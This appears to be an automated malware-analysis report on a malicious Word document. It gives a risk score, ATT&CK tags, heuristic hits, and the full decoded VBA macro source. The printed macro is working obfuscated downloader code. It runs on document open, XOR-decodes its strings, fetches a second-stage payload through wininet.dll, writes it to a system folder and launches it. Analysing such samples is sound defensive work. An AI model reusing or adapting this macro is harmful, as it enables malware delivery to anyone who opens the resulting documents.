MALICIOUS
88
Risk Score
Malware Insights
MITRE ATT&CK
T1059.005 Visual Basic
T1105 Ingress Tool Transfer
The sample is a malicious Microsoft Word document containing VBA macros. The `autoopen` macro, along with the `CreateObject` heuristic, suggests an attempt to execute code. The VBA script utilizes functions from `wininet.dll` to download and potentially execute a second-stage payload, indicating an Ingress Tool Transfer attack pattern.
Heuristics 4
-
VBA macros detected medium 2 related findings OLE_VBA_MACROSDocument contains VBA macro code
-
CreateObject call high OLE_VBA_CREATEOBJCreateObject callMatched line in script
Set OBJECT099 = CreateObject _ -
AutoOpen macro low OLE_VBA_AUTOOPENAutoOpen macroMatched line in script
Sub autoopen() -
Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXECOLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
Extracted artifacts 1
Files carved from inside the sample during analysis.
| Filename | Kind | Source | Size |
|---|---|---|---|
macros.bas |
vba-macro | oletools.olevba.extract_macros (decoded VBA source) | 7990 bytes |
SHA-256: 7416816b7ea70adcb91fffcd1bf86c4480ea52566c4e30cb7ad9fe5a8264dc61 |
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Preview scriptFirst 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Sub autoopen()
HAZ82771
End Sub
Attribute VB_Name = "xsdasvsd"
#If VBA7 And Win64 Then
Public Declare PtrSafe Function HLUB3U3OP9832222 Lib "wininet.dll" Alias "InternetCloseHandle" (ByRef hInet As LongPtr) As Long
Public Declare PtrSafe Function HLUB3U3OP983222 Lib "wininet.dll" Alias "InternetOpenA" (ByVal sAgent As String, ByVal lAccessType As Long, ByVal sProxyName As String, ByVal sProxyBypass As String, ByVal lFlags As Long) As LongPtr
Public Declare PtrSafe Function KOOOODAAAAA1 Lib "wininet.dll" Alias "InternetReadFile" (ByVal cCCc3333 As LongPtr, ByVal HCDNNNDCNNDC As String, ByVal lNumBytesToRead As Long, lNumberOfBytesRead As Long) As Integer
Public Declare PtrSafe Function HLUB3U3OP9832 Lib "wininet.dll" Alias "InternetOpenUrlA" (ByVal hInternetSession As LongPtr, ByVal lpszUrl As String, ByVal lpszHeaders As String, ByVal dwHeadersLength As Long, ByVal dwFlags As Long, ByVal dwContext As Long) As LongPtr
#Else
Public Declare Function HLUB3U3OP9832222 Lib "wininet.dll" Alias "InternetCloseHandle" (ByRef hInet As Long) As Long
Public Declare Function HLUB3U3OP983222 Lib "wininet.dll" Alias "InternetOpenA" (ByVal sAgent As String, ByVal lAccessType As Long, ByVal sProxyName As String, ByVal sProxyBypass As String, ByVal lFlags As Long) As Long
Public Declare Function KOOOODAAAAA1 Lib "wininet.dll" Alias "InternetReadFile" (ByVal cCCc3333 As Long, ByVal HCDNNNDCNNDC As String, ByVal lNumBytesToRead As Long, lNumberOfBytesRead As Long) As Integer
Public Declare Function HLUB3U3OP9832 Lib "wininet.dll" Alias "InternetOpenUrlA" (ByVal hInternetSession As Long, ByVal lpszUrl As String, ByVal lpszHeaders As String, ByVal dwHeadersLength As Long, ByVal dwFlags As Long, ByVal dwContext As Long) As Long
#End If
Sub HAZ82771()
SerpomPoPo ("LLLAK")
End Sub
Public Function ISTOP78(AASC21 As String, AASC22 As String) As String
Dim UUUUS As Long
Dim UUUUSO As String
Dim UUUUS0 As Integer
Dim UUUUS01 As Integer
For UUUUS = 1 _
To _
( _
getLeg _
(AASC22) _
/ 2)
UUUUS0 = Val("&H" & _
(Mid$(AASC22, _
(2 * UUUUS) - 1, 2)))
UUUUS01 = Asc(Mid$(AASC21, _
((UUUUS Mod Len(AASC21)) + 1), 1))
UUUUSO = UUUUSO + Chr(UUUUS0 Xor UUUUS01)
Next UUUUS
ISTOP78 = UUUUSO
End Function
Public Function getLeg(Papapa1 As String) As Integer
getLeg = Len(Papapa1)
End Function
Attribute VB_Name = "HiMiMiIn"
'* 1
Public Const HAZ82776 = "255C5718064326424459455155071F1C1D"
'*2
Public Const HAZ82775 = "2A525D060E5F49021A505457"
'*3
Public Const HAZ82774 = "1E404604504248425D0748535A100C5D1014551C040642015D46510306004658160B13"
'*4
Public Const HAZ82773 = "2557401D1A190E5C531B6A5B5816250A0002515F3B0807025140"
'*5
Public Const HAZ82772 = "sv42tjmg245,24svs"
Attribute VB_Name = "HHAKKK"
Sub _
SerpomPoPo(Trombon As String)
'* -_-)(CAAdvVVDVSRU|IU
Dim _
OBJECT099
Set OBJECT099 = CreateObject _
(ISTOP78 _
(HAZ82772, HAZ82773))
Dim HAZ82768
Const HAZ82768ID = 2
Dim cddssejuuk As Integer
For cddssejuuk = 0 To 0
If cddssejuuk = 5 Then End
Next cddssejuuk
Set HAZ82768 = OBJECT099.GetSpecialFolder _
(HAZ82768ID)
Dim chdhaAAAAAi93 As Integer
For chdhaAAAAAi93 = 0 To 0
If chdhaAAAAAi93 = 5 Then End
Next chdhaAAAAAi93
HAZ82767 = HAZ82768 & ISTOP78 _
(HAZ82772, HAZ82775)
Dim hiaopen847 As Integer
For hiaopen847 = 0 To 0
If hiaopen847 = 5 Then End
Next hiaopen847
Set OBJECT099 = CreateObject _
(ISTOP78 _
(HAZ82772, HAZ82773))
Dim BnBnHsssssgs346 As Integer
For BnBnHsssssgs346 = 0 To 0
If BnBnHsssssgs346 = 5 Then End
Next BnBnHsssssgs346
If OBJECT099.FileExists _
(HAZ82767) Then
OBJECT099. _
DeleteFile HAZ82767
End If
If HLUB3U3OP983(ISTOP78 _
(HAZ82772, HAZ82774), HAZ82767) Then
End If
Set SSSS = Nothing
If OBJECT099. _
FileExists _
(HAZ82767) Then
End If
Set SASASA = CreateObject _
(ISTOP78 _
(HAZ82772, HAZ82776))
SASASA.Open HAZ82767
End Sub
Attribute VB_Name = "SoaO"
Attribute VB_Base = "0{C188AA44-9A52-4A88-BE0A-9F57E1E65FE9}{330D0356-8F29-4E56-96BC-4439FB456421}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False
Attribute VB_Name = "Class2"
Attribute VB_Base = "0{FCFB3D2A-A0FA-1068-A738-08002B3371B5}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = False
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False
Attribute VB_Name = "VVDDD"
Option Explicit
Private Const CAS89K01Mmah872 = 8162
Private Const CAS89K01Mmah871 As String = "HnahHnsnak00"
Private Const CAS89K01Mmah999 = 1
Private Const cCCc = &H4000000
Public Function HLUB3U3OP983(ByVal sURL As String, ByVal sFileName As String) As Boolean
#If VBA7 And Win64 Then
Dim HCDNNNDCNNDC2 As LongPtr, CAS89K01Mmah873 As LongPtr
#Else
Dim HCDNNNDCNNDC2 As Long, CAS89K01Mmah873 As Long
#End If
Dim CDSFDFD As Long
Dim HCDNNNDCNNDC As String * CAS89K01Mmah872, CCEWGREHRHERHER33 As String
Dim EFEWFWEFWEFWEF As Integer, lddta As Double
HCDNNNDCNNDC2 = HLUB3U3OP983222(CAS89K01Mmah871, CAS89K01Mmah999, vbNullString, vbNullString, 0)
If HCDNNNDCNNDC2 = 0 Then
Exit Function
End If
CAS89K01Mmah873 = HLUB3U3OP9832(HCDNNNDCNNDC2, sURL, vbNullString, 0, cCCc, 0)
If CAS89K01Mmah873 = 0 Then
lddta = 0
Else
KOOOODAAAAA1 CAS89K01Mmah873, HCDNNNDCNNDC, CAS89K01Mmah872, CDSFDFD
CCEWGREHRHERHER33 = HCDNNNDCNNDC
Do While CDSFDFD <> 0
KOOOODAAAAA1 CAS89K01Mmah873, HCDNNNDCNNDC, CAS89K01Mmah872, CDSFDFD
Dim HhhhhHHuuU73772 As Integer
For HhhhhHHuuU73772 = 0 To 0
If HhhhhHHuuU73772 = 5 Then End
Next HhhhhHHuuU73772
CCEWGREHRHERHER33 = CCEWGREHRHERHER33 + Mid(HCDNNNDCNNDC, 1, CDSFDFD)
Loop
lddta = Len(CCEWGREHRHERHER33): EFEWFWEFWEFWEF = FreeFile
Open sFileName _
For Binary _
Access Write _
Lock Write _
As #EFEWFWEFWEFWEF
Put #EFEWFWEFWEFWEF, _
, CCEWGREHRHERHER33
':
Dim ssdcdcdsDDDDD As Integer
For ssdcdcdsDDDDD = 0 To 0
If ssdcdcdsDDDDD = 5 Then End
Next ssdcdcdsDDDDD
Close #EFEWFWEFWEFWEF
End If
HLUB3U3OP9832222 CAS89K01Mmah873
HLUB3U3OP9832222 HCDNNNDCNNDC2
CCEWGREHRHERHER33 = ""
If lddta Then
HLUB3U3OP983 = True
End If
End Function
Attribute VB_Name = "A1"
Attribute VB_Name = "A2"
Attribute VB_Base = "0{DCC1CFD7-551C-4546-BA3E-CF4DD0F9D97A}{5260732A-F07E-4D07-96DF-9AC1C395B03E}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False
Attribute VB_Name = "A3"
Attribute VB_Base = "0{FCFB3D2A-A0FA-1068-A738-08002B3371B5}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = False
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False
Attribute VB_Name = "UserForm1"
Attribute VB_Base = "0{65F59680-CD90-4EE7-91A9-C52775E91ED9}{CD8695A8-6606-4E49-97A2-A050E572EEC4}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False
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